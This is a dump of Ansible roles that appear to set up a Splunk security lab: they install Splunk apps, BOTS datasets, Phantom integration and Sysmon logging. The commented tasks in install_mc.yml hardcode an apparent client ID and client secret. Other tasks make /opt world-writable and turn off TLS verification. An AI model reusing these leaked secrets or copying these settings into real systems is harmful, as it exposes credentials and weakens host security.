4 | path: /opt/splunk/etc/apps/botsv1_data_set
5 | register: botsv1a_app
6 |
7 | - name: download BOTSv1 attack only dataset
8 | unarchive:
9 | src: 'https://s3.amazonaws.com/botsdataset/botsv1/botsv1-attack-only.tgz'
10 | dest: /opt/splunk/etc/apps
11 | owner: splunk
12 | group: splunk
13 | remote_src: yes
14 | when: botsv1a_app.stat.exists == False
15 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_botsv2_dataset.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: check if BOTSv2 app exists
3 | stat:
4 | path: /opt/splunk/etc/apps/botsv2_data_set
5 | register: botsv2_app
6 |
7 | - name: download BOTSv2 dataset
8 | unarchive:
9 | src: 'https://s3.amazonaws.com/botsdataset/botsv2/botsv2_data_set.tgz'
10 | dest: /opt/splunk/etc/apps
11 | owner: splunk
12 | group: splunk
13 | remote_src: yes
14 | when: botsv2_app.stat.exists == False
15 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_botsv2a_dataset.yml:
--------------------------------------------------------------------------------
1 | - name: check if BOTSv2 attack only app exists
2 | stat:
3 | path: /opt/splunk/etc/apps/botsv2_data_set
4 | register: botsv2a_app
5 |
6 | - name: download BOTSv2 attack only dataset
7 | unarchive:
8 | src: 'https://s3.amazonaws.com/botsdataset/botsv2/botsv2_data_set_attack_only.tgz'
9 | dest: /opt/splunk/etc/apps
10 | owner: splunk
11 | group: splunk
12 | remote_src: yes
13 | when: botsv2a_app.stat.exists == False
14 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_botsv3_dataset.yml:
--------------------------------------------------------------------------------
1 | - name: check if BOTSv3 app exists
2 | stat:
3 | path: /opt/splunk/etc/apps/botsv3_data_set
4 | register: botsv3_app
5 |
6 | - name: download BOTSv3 dataset
7 | unarchive:
8 | src: 'https://botsdataset.s3.amazonaws.com/botsv3/botsv3_data_set.tgz'
9 | dest: /opt/splunk/etc/apps
10 | owner: splunk
11 | group: splunk
12 | remote_src: yes
13 | when: botsv3_app.stat.exists == False
14 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_cim_app.yml:
--------------------------------------------------------------------------------
1 | - name: Check if cim app exists
2 | stat:
3 | path: /opt/splunk/etc/apps/Splunk_SA_CIM
4 | register: cim_app
5 |
6 | - name: download CIM app from S3 bucket
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ splunk_cim_app }}'
9 | dest: /tmp/cim_app.tgz
10 | when: cim_app.stat.exists == False
11 |
12 | - name: Install cim app via REST
13 | uri:
14 | url: "https://127.0.0.1:8089/services/apps/local"
15 | method: POST
16 | user: "admin"
17 | password: "{{ splunk_admin_password }}"
18 | validate_certs: false
19 | body: "name=/tmp/cim_app.tgz&update=true&filename=true"
20 | headers:
21 | Content-Type: "application/x-www-form-urlencoded"
22 | status_code: [ 200, 201 ]
23 | timeout: 30
24 | when: cim_app.stat.exists == False
25 |
26 | - name: Create folder directory for local in CIM
27 | file:
28 | path: "{{ item }}"
29 | state: directory
30 | owner: splunk
31 | group: splunk
32 | recurse: yes
33 | with_items:
34 | - /opt/splunk/etc/apps/Splunk_SA_CIM/local/
35 | when: cim_app.stat.exists == False
36 |
37 | - name: copy datamodels.conf to splunk server
38 | copy:
39 | src: datamodels.conf
40 | dest: /opt/splunk/etc/apps/Splunk_SA_CIM/local/datamodels.conf
41 | owner: splunk
42 | group: splunk
43 | when: cim_app.stat.exists == False
44 | notify: restart splunk
45 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_dsp.yml:
--------------------------------------------------------------------------------
1 | - name: Create folder directory for outputs configuration
2 | file:
3 | path: "{{ item }}"
4 | state: directory
5 | with_items:
6 | - '/opt/splunk/etc/apps/dsp_outputs_app/local'
7 |
8 | - name: Copy dsp client certificate
9 | copy:
10 | src: '{{ dsp_client_cert_path }}'
11 | dest: '/opt/splunk/etc/apps/dsp_outputs_app/client.pem'
12 |
13 | - name: Copy an outputs.conf for dsp using templating
14 | win_template:
15 | src: outputs.conf.j2
16 | dest: '/opt/splunk/etc/apps/dsp_outputs_app/local/outputs.conf'
17 | vars:
18 | nodes: "{{ lookup('vars', 'dsp_node').split(',') }}"
19 |
20 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_enterprise_security.yml:
--------------------------------------------------------------------------------
1 | - name: Copy enterprise security to server
2 | copy:
3 | src: "../../../apps/{{ splunk_es_app }}"
4 | dest: /tmp/es_app.tgz
5 | when: install_es == "1"
6 |
7 | - name: Install es app via REST
8 | uri:
9 | url: "https://127.0.0.1:8089/services/apps/local"
10 | method: POST
11 | user: "admin"
12 | password: "{{ splunk_admin_password }}"
13 | validate_certs: false
14 | body: "name=/tmp/es_app.tgz&update=true&filename=true"
15 | headers:
16 | Content-Type: "application/x-www-form-urlencoded"
17 | status_code: [ 200, 201 ]
18 | timeout: 30
19 | when: install_es == "1"
20 | notify: restart splunk
21 |
22 | - name: Run es post-install setup for ES version before 6.4.0
23 | command: "/opt/splunk/bin/splunk search '| essinstall ' -auth admin:{{ splunk_admin_password }}"
24 | become: yes
25 | become_user: splunk
26 | when: install_es == "1" and {{ splunk_es_app_version | int }} < 640
27 |
28 | - name: Run es post-install setup
29 | command: "/opt/splunk/bin/splunk search '| essinstall --ssl_enablement auto' -auth admin:{{ splunk_admin_password }}"
30 | become: yes
31 | become_user: splunk
32 | when: install_es == "1" and {{ splunk_es_app_version | int }} >= 640
33 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_escu_app.yml:
--------------------------------------------------------------------------------
1 | - name: Check if ESCU App exists
2 | stat:
3 | path: /opt/splunk/etc/apps/DA-ESS-ContentUpdate
4 | register: escu_app
5 |
6 | - name: download ESCU app from S3 bucket
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ splunk_escu_app }}'
9 | dest: /tmp/escu_app.tgz
10 | when: escu_app.stat.exists == False
11 |
12 | - name: Install escu app via REST
13 | uri:
14 | url: "https://127.0.0.1:8089/services/apps/local"
15 | method: POST
16 | user: "admin"
17 | password: "{{ splunk_admin_password }}"
18 | validate_certs: false
19 | body: "name=/tmp/escu_app.tgz&update=true&filename=true"
20 | headers:
21 | Content-Type: "application/x-www-form-urlencoded"
22 | status_code: [ 200, 201 ]
23 | timeout: 30
24 | when: escu_app.stat.exists == False
25 | notify: restart splunk
26 |
27 | - name: Create local folder directory
28 | file:
29 | path: "{{ item }}"
30 | state: directory
31 | owner: splunk
32 | group: splunk
33 | recurse: yes
34 | with_items:
35 | - /opt/splunk/etc/apps/DA-ESS-ContentUpdate/local/
36 |
37 | - name: copy macros.conf to splunk server
38 | copy:
39 | src: macros.conf
40 | dest: /opt/splunk/etc/apps/DA-ESS-ContentUpdate/local/macros.conf
41 | owner: splunk
42 | group: splunk
43 | notify: restart splunk
44 |
45 | - name: copy savedsearches.conf to splunk server
46 | copy:
47 | src: savedsearches.conf
48 | dest: /opt/splunk/etc/apps/DA-ESS-ContentUpdate/local/savedsearches.conf
49 | owner: splunk
50 | group: splunk
51 | notify: restart splunk
52 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_mc.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Copy Mission Control App to server
3 | copy:
4 | src: "../../apps/{{ mission_control_app }}"
5 | dest: /tmp/mc_app.tgz
6 | when: install_mission_control == "1"
7 |
8 | - name: Install mc app via REST
9 | uri:
10 | url: "https://127.0.0.1:8089/services/apps/local"
11 | method: POST
12 | user: "admin"
13 | password: "{{ splunk_admin_password }}"
14 | validate_certs: false
15 | body: "name=/tmp/mc_app.tgz&update=true&filename=true"
16 | headers:
17 | Content-Type: "application/x-www-form-urlencoded"
18 | status_code: [ 200, 201 ]
19 | timeout: 30
20 | when: install_mission_control == "1"
21 | notify: restart splunk
22 |
23 | # - name: Create folder directory for proxy configuration
24 | # file:
25 | # path: "{{ item }}"
26 | # state: directory
27 | # owner: splunk
28 | # group: splunk
29 | # recurse: yes
30 | # with_items:
31 | # - /opt/splunk/etc/apps/splunk-connect-for-mission-control/local/
32 |
33 | - name: copy proxy.conf to splunk server
34 | copy:
35 | src: proxy.conf
36 | dest: /opt/splunk/etc/apps/splunk-connect-for-mission-control/local/proxy.conf
37 | owner: splunk
38 | group: splunk
39 | notify: restart splunk
40 |
41 | - name: copy outputs.conf to splunk server
42 | copy:
43 | src: outputs.conf
44 | dest: /opt/splunk/etc/apps/splunk-connect-for-mission-control/local/outputs.conf
45 | owner: splunk
46 | group: splunk
47 | notify: restart splunk
48 |
49 | - name: Create the /opt/splunk/tmp/ directory
50 | file:
51 | path: "/opt/splunk/tmp"
52 | state: directory
53 | group: "splunk"
54 | owner: "splunk"
55 | become: yes
56 |
57 | - name: Copy proxy_setup.py
58 | copy:
59 | src: proxy_setup.py
60 | dest: /opt/splunk/tmp/proxy_setup.py
61 |
62 | - name: Copy ingestion_setup.py
63 | copy:
64 | src: ingestion_setup.py
65 | dest: /opt/splunk/tmp/ingestion_setup.py
66 |
67 | - name: Make proxy_setup.py executable
68 | command: chmod +x /opt/splunk/tmp/proxy_setup.py
69 | become: yes
70 |
71 | - name: Make ingestion_setup.py executable
72 | command: chmod +x /opt/splunk/tmp/ingestion_setup.py
73 | become: yes
74 |
75 | # - name: Create and insert in outputs.conf entry in to use splunk default cert
76 | # blockinfile:
77 | # path: "/opt/splunk/etc/system/local/outputs.conf"
78 | # block:
79 | # "[tcpout]
80 | # defaultGroup = noOutputGroup
81 | # indexAndForward=true"
82 | # owner: "splunk"
83 | # group: "splunk"
84 | # create: yes
85 | # become: yes
86 | # become_user: "splunk"
87 |
88 | # - name: Proxy Setup to MC Tenant
89 | # command: python ./proxy_setup.py --splunk_home /opt/splunk --environment production --client_id 0oa63qv1xrtH8ITDP2p7 --client_secret VrlRy5g72faYjLarXseSyAmOqyvp3gzFZ8LRUNaP --tenant mcdemo
90 | # become: yes
91 | # become_user: "{{splunk.user}}"
92 | # args:
93 | # chdir: /opt/splunk/tmp/
94 | #
95 | # - name: Ingestion Setup to MC Tenant
96 | # command: python ./ingestion_setup.py --splunk_home /opt/splunk --environment production --test_client_id 0oa63qv1xrtH8ITDP2p7 --test_client_secret VrlRy5g72faYjLarXseSyAmOqyvp3gzFZ8LRUNaP --tenant mcdemo
97 | # become: yes
98 | # become_user: "{{splunk.user}}"
99 | # args:
100 | # chdir: /opt/splunk/tmp/
101 |
102 | # restart Splunk
103 | - name: restart splunk
104 | service: name=splunk state=restarted
105 | become: yes
106 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_mltk_app.yml:
--------------------------------------------------------------------------------
1 | - name: Check if python app exists
2 | stat:
3 | path: /opt/splunk/etc/apps/Splunk_SA_Scientific_Python_linux_x86_64
4 | register: python_app
5 |
6 | - name: download Python app from S3 bucket
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ splunk_python_app }}'
9 | dest: /tmp/python-for-scientific-computing-for-linux-64-bit_14.tgz
10 | when:
11 | - python_app.stat.exists == False
12 | - install_mltk == "1"
13 |
14 | - name: Install Python app via REST
15 | uri:
16 | url: "https://127.0.0.1:8089/services/apps/local"
17 | method: POST
18 | user: "admin"
19 | password: "{{ splunk_admin_password }}"
20 | validate_certs: false
21 | body: "name=/tmp/python-for-scientific-computing-for-linux-64-bit_14.tgz&update=true&filename=true"
22 | headers:
23 | Content-Type: "application/x-www-form-urlencoded"
24 | status_code: [ 200, 201 ]
25 | timeout: 90
26 | when:
27 | - python_app.stat.exists == False
28 | - install_mltk == "1"
29 | notify: restart splunk
30 |
31 | - name: Check if MLTK ta exists
32 | stat:
33 | path: /opt/splunk/etc/apps/Splunk_ML_Toolkit
34 | register: mltk_app
35 |
36 | - name: download MLTK app from S3 bucket
37 | get_url:
38 | url: '{{ s3_bucket_url }}/{{ splunk_mltk_app }}'
39 | dest: /tmp/splunk-machine-learning-toolkit_450.tgz
40 | when:
41 | - mltk_app.stat.exists == False
42 | - install_mltk == "1"
43 |
44 | - name: Install MLTK app via REST
45 | uri:
46 | url: "https://127.0.0.1:8089/services/apps/local"
47 | method: POST
48 | user: "admin"
49 | password: "{{ splunk_admin_password }}"
50 | validate_certs: false
51 | body: "name=/tmp/splunk-machine-learning-toolkit_450.tgz&update=true&filename=true"
52 | headers:
53 | Content-Type: "application/x-www-form-urlencoded"
54 | status_code: [ 200, 201 ]
55 | timeout: 30
56 | when:
57 | - mltk_app.stat.exists == False
58 | - install_mltk == "1"
59 | notify: restart splunk
60 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_sse_app.yml:
--------------------------------------------------------------------------------
1 | - name: Check if SSE App exists
2 | stat:
3 | path: /opt/splunk/etc/apps/Splunk_Security_Essentials
4 | register: sse_app
5 |
6 | - name: download ESCU app from S3 bucket
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ splunk_security_essentials_app }}'
9 | dest: /tmp/sse_app.tgz
10 | when: sse_app.stat.exists == False
11 |
12 | - name: Install sse app via REST
13 | uri:
14 | url: "https://127.0.0.1:8089/services/apps/local"
15 | method: POST
16 | user: "admin"
17 | password: "{{ splunk_admin_password }}"
18 | validate_certs: false
19 | body: "name=/tmp/sse_app.tgz&update=true&filename=true"
20 | headers:
21 | Content-Type: "application/x-www-form-urlencoded"
22 | status_code: [ 200, 201 ]
23 | timeout: 30
24 | when: sse_app.stat.exists == False
25 | notify: restart splunk
26 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_stream_app.yml:
--------------------------------------------------------------------------------
1 | - name: Check if stream app exists
2 | stat:
3 | path: /opt/splunk/etc/apps/Splunk_TA_stream
4 | register: stream_app
5 |
6 | - name: download Stream app from S3 bucket
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ splunk_stream_app }}'
9 | dest: /tmp/splunk-stream_720.tgz
10 | timeout: 30
11 | when: stream_app.stat.exists == False
12 |
13 | - name: Install stream app via REST
14 | uri:
15 | url: "https://127.0.0.1:8089/services/apps/local"
16 | method: POST
17 | user: "admin"
18 | password: "{{ splunk_admin_password }}"
19 | validate_certs: false
20 | body: "name=/tmp/splunk-stream_720.tgz&update=true&filename=true"
21 | headers:
22 | Content-Type: "application/x-www-form-urlencoded"
23 | status_code: [ 200, 201 ]
24 | timeout: 90
25 | when: stream_app.stat.exists == False
26 | notify: restart splunk
27 |
28 | # app installation may still be in progress
29 | - name: Wait for set_permissions.sh to exist
30 | wait_for:
31 | path: /opt/splunk/etc/apps/Splunk_TA_stream/set_permissions.sh
32 |
33 | - name: Change file ownership, group and permissions
34 | file:
35 | path: /opt/splunk/etc/apps/Splunk_TA_stream/set_permissions.sh
36 | owner: root
37 | group: root
38 | mode: '0700'
39 |
40 | # Script to set NIC to promiscuous mode: https://docs.splunk.com/Documentation/StreamApp/7.2.0/DeployStreamApp/InstallSplunkAppforStream#Set_Splunk_TA_stream_permissions
41 | - name: Change the working directory to cd /opt/splunk/etc/apps/Splunk_TA_stream/ before setting write permissions.
42 | shell: ./set_permissions.sh
43 | args:
44 | chdir: /opt/splunk/etc/apps/Splunk_TA_stream/
45 | become: yes
46 | become_user: root
47 | become_method: sudo
48 |
49 | # app installation may still be in progress
50 | - name: Wait for inputs.conf to exist
51 | wait_for:
52 | path: /opt/splunk/etc/deployment-apps/Splunk_TA_stream/local/inputs.conf
53 |
54 | - name: Copy new inputs.conf configuration
55 | template:
56 | src: inputs.conf.j2
57 | dest: /opt/splunk/etc/deployment-apps/Splunk_TA_stream/local/inputs.conf
58 | owner: splunk
59 | group: splunk
60 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_sysmon_ta.yml:
--------------------------------------------------------------------------------
1 | - name: Check if sysmon ta exists
2 | stat:
3 | path: /opt/splunk/etc/apps/TA-microsoft-sysmon
4 | register: sysmon_ta
5 |
6 | - name: download Sysmon TA from S3 bucket
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ splunk_sysmon_ta }}'
9 | dest: /tmp/sysmon_ta.tgz
10 | timeout: 30
11 | when: sysmon_ta.stat.exists == False
12 |
13 | - name: Install sysmon ta app via REST
14 | uri:
15 | url: "https://127.0.0.1:8089/services/apps/local"
16 | method: POST
17 | user: "admin"
18 | password: "{{ splunk_admin_password }}"
19 | validate_certs: false
20 | body: "name=/tmp/sysmon_ta.tgz&update=true&filename=true"
21 | headers:
22 | Content-Type: "application/x-www-form-urlencoded"
23 | status_code: [ 200, 201 ]
24 | timeout: 30
25 | when: sysmon_ta.stat.exists == False
26 | notify: restart splunk
27 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_windows_ta.yml:
--------------------------------------------------------------------------------
1 | - name: Check if windows ta exists
2 | stat:
3 | path: /opt/splunk/etc/apps/Splunk_TA_windows
4 | register: windows_ta
5 |
6 | - name: download Windows TA from S3 bucket
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ splunk_windows_ta }}'
9 | dest: /tmp/windows_ta.tgz
10 | when: windows_ta.stat.exists == False
11 |
12 | - name: Install windows TA app via REST
13 | uri:
14 | url: "https://127.0.0.1:8089/services/apps/local"
15 | method: POST
16 | user: "admin"
17 | password: "{{ splunk_admin_password }}"
18 | validate_certs: false
19 | body: "name=/tmp/windows_ta.tgz&update=true&filename=true"
20 | headers:
21 | Content-Type: "application/x-www-form-urlencoded"
22 | status_code: [ 200, 201 ]
23 | timeout: 30
24 | when: windows_ta.stat.exists == False
25 | notify: restart splunk
26 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # This playbook contains common tasks in this role
3 |
4 | - include: splunk.yml
5 | - include: configure_inputs.yml
6 | - include: configure_indexes.yml
7 | - include: configure_limits.yml
8 | - include: configure_web_conf.yml
9 | - include: configure_hec.yml
10 | - include: configure_server_conf.yml
11 | - include: create_serverclass.yml
12 | - include: install_aws_app.yml
13 | when: cloud_attack_range == "1"
14 | - include: install_enterprise_security.yml
15 | - include: install_mc.yml
16 | when: install_mission_control == "1"
17 | - include: install_botsv1_dataset.yml
18 | when: splunk_bots_dataset is regex("(1)(?!a)")
19 | - include: install_botsv1a_dataset.yml
20 | when: splunk_bots_dataset is regex("1a")
21 | - include: install_botsv2_dataset.yml
22 | when: splunk_bots_dataset is regex("(2)(?!a)")
23 | - include: install_botsv2a_dataset.yml
24 | when: splunk_bots_dataset is regex("2a")
25 | - include: install_botsv3_dataset.yml
26 | when: splunk_bots_dataset is regex("3")
27 | - include: install_dsp.yml
28 | when: install_dsp == "1"
29 | - include: install_escu_app.yml
30 | - include: install_asx_app.yml
31 | - include: install_sse_app.yml
32 | - include: install_attack_range_dashboard.yml
33 | - include: install_windows_ta.yml
34 | - include: install_cim_app.yml
35 | - include: install_sysmon_ta.yml
36 | - include: install_mltk_app.yml
37 | - include: install_stream_app.yml
38 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/splunk.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # This playbook install the apps required in a server
3 |
4 | - name: add splunk group
5 | tags:
6 | - install
7 | - security
8 | group: name=splunk state=present
9 |
10 | - name: add splunk user
11 | tags:
12 | - install
13 | - security
14 | user: name=splunk comment="Splunk service user" shell=/usr/sbin/nologin groups=splunk createhome=yes
15 |
16 | - name: make /opt writetable by splunk
17 | tags:
18 | - install
19 | file: path=/opt mode=777
20 |
21 | - name: checking if splunk is install
22 | tags: install
23 | stat: path=/opt/splunk
24 | register: splunk_path
25 |
26 | - name: is splunk installed?
27 | tags: install
28 | debug: msg='splunk is already installed under /opt/splunk'
29 | when: splunk_path.stat.exists
30 |
31 | - name: download splunk
32 | tags: install
33 | get_url:
34 | url: '{{ splunk_url }}'
35 | dest: /opt/
36 | when: splunk_path.stat.exists == false
37 |
38 | - name: install splunk binary
39 | tags:
40 | - install
41 | unarchive: remote_src=yes src=/opt/{{splunk_binary}} dest=/opt/ owner=splunk group=splunk creates=yes
42 | become: yes
43 | become_user: splunk
44 | when: splunk_path.stat.exists == false
45 |
46 | - name: accept license and start splunk
47 | tags:
48 | - install
49 | shell: /opt/splunk/bin/splunk start --accept-license --answer-yes --no-prompt --seed-passwd {{splunk_admin_password}}
50 | become: yes
51 | become_user: splunk
52 | when: splunk_path.stat.exists == false
53 |
54 | - name: enable boot-start
55 | tags:
56 | - install
57 | shell: /opt/splunk/bin/splunk enable boot-start -user splunk
58 | when: splunk_path.stat.exists == false
59 |
60 | - name: restart splunk
61 | service:
62 | name: splunkd
63 | state: restarted
64 | when: splunk_path.stat.exists == false
65 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/templates/aws_account_ext.conf.j2:
--------------------------------------------------------------------------------
1 | [splunk_role_{{ key_name }}]
2 | category = 1
3 | iam = 1
4 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/templates/aws_cloudwatch_logs_tasks.conf.j2:
--------------------------------------------------------------------------------
1 | [aws]
2 | account = splunk_role_{{ key_name }}
3 | groups = API-Gateway-Execution-Logs_{{ api_gateway_id }}/prod, /aws/lambda/notes_application_{{ key_name }}
4 | delay = 1800
5 | index = aws
6 | interval = 120
7 | only_after = 1970-01-01T00:00:00
8 | region = {{ region }}
9 | sourcetype = aws:cloudwatchlogs
10 | stream_matcher = .*
11 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/templates/aws_inputs.conf.j2:
--------------------------------------------------------------------------------
1 | [aws_sqs_based_s3://cloudtrail]
2 | aws_account = splunk_role_{{ key_name }}
3 | index = aws
4 | interval = 60
5 | s3_file_decoder = CloudTrail
6 | sourcetype = aws:cloudtrail
7 | sqs_batch_size = 10
8 | sqs_queue_region = {{ region }}
9 | sqs_queue_url = {{ sqs_queue_url }}
10 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/templates/inputs.conf.j2:
--------------------------------------------------------------------------------
1 | [streamfwd://streamfwd]
2 | index = network
3 | splunk_stream_app_location = https://{{ splunk_server_private_ip }}:8000/en-us/custom/splunk_app_stream/
4 | stream_forwarder_id =
5 | disabled = 0
6 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/templates/outputs.conf.j2:
--------------------------------------------------------------------------------
1 | #jinja2: trim_blocks:False
2 | [indexAndForward]
3 | index = true
4 |
5 | [tcpout]
6 | defaultGroup={%- if install_dsp -%}dsp{% endif %}
7 | indexAndForward = true
8 |
9 | {% if install_dsp %}
10 | [tcpout:dsp]
11 | server={% for ip in nodes -%}{{ip}}:30001{% if not loop.last -%},{% endif -%}{% endfor%}
12 | clientCert=/opt/splunk/etc/apps/dsp_outputs_app/client.pem
13 | sslVerifyServerCert=false
14 | useACK=true
15 | indexAndForward = true
16 | {% endif %}
17 |
18 |
19 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom/files/authorize.conf:
--------------------------------------------------------------------------------
1 | [role_admin]
2 | grantableRoles = admin
3 | importRoles = phantom;power;user
4 | list_settings = disabled
5 | list_storage_passwords = disabled
6 | srchIndexesDefault = attack;dns;fw;mail;main;proxy;unix;win
7 | srchMaxTime = 8640000
8 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom/files/phantom.conf:
--------------------------------------------------------------------------------
1 | [enable_logging]
2 | value = false
3 |
4 | [verify_certs]
5 | value = 0
6 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: restart splunk
2 | service: name=splunk state=restarted
3 | become: yes
4 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom/tasks/add_phantom_role.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: copy authorize.conf to give admin phantom capabilities
4 | copy:
5 | src: authorize.conf
6 | dest: /opt/splunk/etc/system/local/authorize.conf
7 | owner: splunk
8 | group: splunk
9 | force: yes
10 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom/tasks/install_phantom_app.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Check if Phantom App exists
4 | stat:
5 | path: /opt/splunk/etc/apps/phantom
6 | register: phantom_app_check
7 |
8 | - name: download phantom app from S3 bucket
9 | get_url:
10 | url: '{{ s3_bucket_url }}/{{ phantom_app }}'
11 | dest: /tmp/phantom_app.tgz
12 | when: phantom_app_check.stat.exists == False
13 |
14 | - name: Install phantom app via REST
15 | uri:
16 | url: "https://127.0.0.1:8089/services/apps/local"
17 | method: POST
18 | user: "admin"
19 | password: "{{ splunk_admin_password }}"
20 | validate_certs: false
21 | body: "name=/tmp/phantom_app.tgz&update=true&filename=true"
22 | headers:
23 | Content-Type: "application/x-www-form-urlencoded"
24 | status_code: [ 200, 201 ]
25 | timeout: 30
26 | when: phantom_app_check.stat.exists == False
27 | notify: restart splunk
28 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - include: install_phantom_app.yml
4 | when: phantom_server == "1"
5 |
6 | - include: add_phantom_role.yml
7 | when: phantom_server == "1"
8 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom/templates/phantom.j2:
--------------------------------------------------------------------------------
1 | [enable_logging]
2 | value = false
3 |
4 | [phantom]
5 | value = {"f4ebdb46-3687-44b9-be72-d6b90597cff0": {"proxy": "", "user": "automation", "ph_auth_config_id": "f4ebdb46-3687-44b9-be72-d6b90597cff0", "custom_name": "phantom", "server": "https://54.185.241.145", "default": true}}
6 |
7 | [verify_certs]
8 | value = 0
9 |
10 | [field_mapping]
11 |
12 | [version]
13 |
14 | [accepted]
15 | value = false
16 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom_configure/files/phantom.conf:
--------------------------------------------------------------------------------
1 | [enable_logging]
2 | value = false
3 |
4 | [verify_certs]
5 | value = 0
6 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom_configure/tasks/configure_phantom_app.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: create local folder for phantom app
4 | file:
5 | path: /opt/splunk/etc/apps/phantom/local
6 | state: directory
7 | owner: splunk
8 | group: splunk
9 |
10 | - name: copy phantom.conf to splunk server
11 | copy:
12 | src: phantom.conf
13 | dest: /opt/splunk/etc/apps/phantom/local/phantom.conf
14 | owner: splunk
15 | group: splunk
16 |
17 | - name: restart splunk
18 | service: name=splunk state=restarted
19 | become: yes
20 |
21 | - name: fetch phantom api token
22 | uri:
23 | url: https://{{ phantom_server_private_ip }}/rest/ph_user/2/token
24 | method: GET
25 | user: admin
26 | password: "{{ phantom_admin_password }}"
27 | force_basic_auth: yes
28 | validate_certs: no
29 | register: api_token
30 |
31 | - name: Connect Splunk Phantom App with Phantom
32 | shell: curl -k -u "admin:{{ splunk_admin_password }}" --data '{"verify_certs":"false","enable_logging":"false","config":[{"ph-auth-token":"{{ api_token.json.key | replace("=","%3D") | replace("+","%2B") }}","server":"https://{{ phantom_server_private_ip }}","custom_name":"phantom","default":false,"user":"","ph_auth_config_id":"193b2ffc-48fb-4087-bc75-c44184e7fa07","proxy":"","validate":true}],"accepted":"true","save":true}' https://localhost:8089/services/update_phantom_config?output_mode=json
33 | register: shell_output
34 |
35 | # - name: Debug output
36 | # debug:
37 | # var: shell_output
38 |
39 | - name: restart splunk
40 | service: name=splunk state=restarted
41 | become: yes
42 |
43 |
44 | # - name: Connect Splunk Phantom App with Phantom
45 | # uri:
46 | # url: https://127.0.0.1:8089/services/update_phantom_config
47 | # method: POST
48 | # user: "admin"
49 | # password: "{{ splunk_admin_password }}"
50 | # validate_certs: false
51 | # body:
52 | # verify_certs: false
53 | # enable_logging: false
54 | # config:
55 | # - ph-auth-token: "{{ api_token.json.key }}"
56 | # server: "https://{{ phantom_server_private_ip }}"
57 | # custom_name: ""
58 | # default: false
59 | # user: ""
60 | # ph_auth_config_id: "193b2ffc-48fb-4087-bc75-c44184e7fa07"
61 | # proxy: ""
62 | # validate: true
63 | # accepted: true
64 | # save: true
65 | # body_format: json
66 | # status_code: [ 200, 201 ]
67 | # timeout: 30
68 | # notify: restart splunk
69 | # register: rest_output
70 |
--------------------------------------------------------------------------------
/ansible/roles/splunk_phantom_configure/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - include: configure_phantom_app.yml
4 | when: phantom_server == "1"
5 |
--------------------------------------------------------------------------------
/ansible/roles/sysmon/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: restart splunk
2 | win_command: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe restart
3 |
--------------------------------------------------------------------------------
/ansible/roles/sysmon/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Create ansible directories
4 | win_file:
5 | path: "{{ item }}"
6 | state: directory
7 | with_items:
8 | - 'c:\Program Files\ansible'
9 | - 'c:\ProgramData\ansible\log'
10 |
11 | - include: windows-sysmon.yml
12 | - include: windows-logging-registry.yml
13 |
14 | - name: 'Reboot server'
15 | win_reboot:
16 |
--------------------------------------------------------------------------------
/ansible/roles/sysmon/tasks/windows-logging-registry.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: WINEVT Channels Event Log Enabled
4 | win_regedit:
5 | key: "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\{{ item }}"
6 | value: Enabled
7 | datatype: dword
8 | data: 1
9 | with_items:
10 | - 'Microsoft-Windows-Sysmon/Operational'
11 |
12 | - name: WINEVT Channels Event Log size review
13 | win_regedit:
14 | key: "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\{{ item }}"
15 | value: MaxSize
16 | datatype: dword
17 | data: "315801600"
18 | with_items:
19 | - 'Microsoft-Windows-Sysmon/Operational'
20 |
21 | - name: WINEVT Channels Event Log retention review
